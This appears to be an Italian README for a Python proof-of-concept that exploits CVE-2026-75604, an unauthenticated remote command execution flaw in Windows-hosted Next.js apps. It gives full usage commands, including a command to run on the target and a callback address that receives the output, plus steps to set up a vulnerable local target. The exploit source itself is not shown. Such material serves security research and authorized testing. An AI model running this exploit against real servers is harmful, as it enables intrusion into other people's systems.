CVE-2026-75604 PoC RCE

Proof of concept in Python per CVE-2026-75604, una vulnerabilità di esecuzione remota di comandi non autenticata nelle applicazioni Next.js ospitate su Windows che utilizzano sia il Pages Router che l'App Router senza Cache Components.

Dimostrazione

Requisiti

• Next.js >=13.4 <15.5.24 o >=16.0 <16.3.3
• Server Windows nativo
• Pages Router e App Router senza Cache Components
• Cache predefinita su filesystem con una route ISR dinamica del Pages Router e una route App dinamica in cache
• Una Server Action compatibile con closure-bound
• Python 3.9+ e un indirizzo di callback raggiungibile dal target

Validato con [email protected].

python -m pip install -r requirements.txt

Utilizzo

python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE

Il percorso della Server Action è impostato per impostazione predefinita su /. Utilizzare --action-field quando il relativo form contiene più di un campo.

Argomenti obbligatori:

• --target URL: URL di base dell'applicazione Next.js
• --callback-ip ADDRESS: indirizzo IPv4 raggiungibile dal target
• --pages-cache-path PATH: pagina ISR dinamica esistente del Pages Router
• --app-cache-path PATH: pagina dinamica esistente dell'App Router supportata dalla cache su filesystem

Argomenti opzionali:

• --command COMMAND: comando da eseguire; valore predefinito whoami
• --action-path PATH: pagina dell'App Router contenente la Server Action compatibile; valore predefinito /
• --action-field NAME: campo del form utilizzato dall'action; rilevato automaticamente quando non ambiguo
• --callback-port PORT: porta di callback; valore predefinito 4331
• --listen-address ADDRESS: indirizzo locale di bind per il callback; valore predefinito 0.0.0.0
• --timeout SECONDS: timeout per richieste e callback; valore predefinito 20
• --insecure: disabilita la verifica del certificato TLS

Target locale

L'applicazione opzionale target/ fissa [email protected] e utilizza il server di produzione standard di Next.js:

cd target
npm ci
npm run build
npm start

Eseguire il PoC in un altro terminale:

python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed

Il target opzionale fornisce le route richieste e una Server Action compatibile su /.

Disclaimer

Questo PoC è fornito esclusivamente a scopo didattico, di ricerca sulla sicurezza e di test autorizzati. Utilizzarlo solo su sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione al test.

Crediti

Crediti a evolutionstorm e b0r1.

Questo PoC è stato ricostruito in modo indipendente a partire dall'advisory pubblico e dalla patch di Next.js.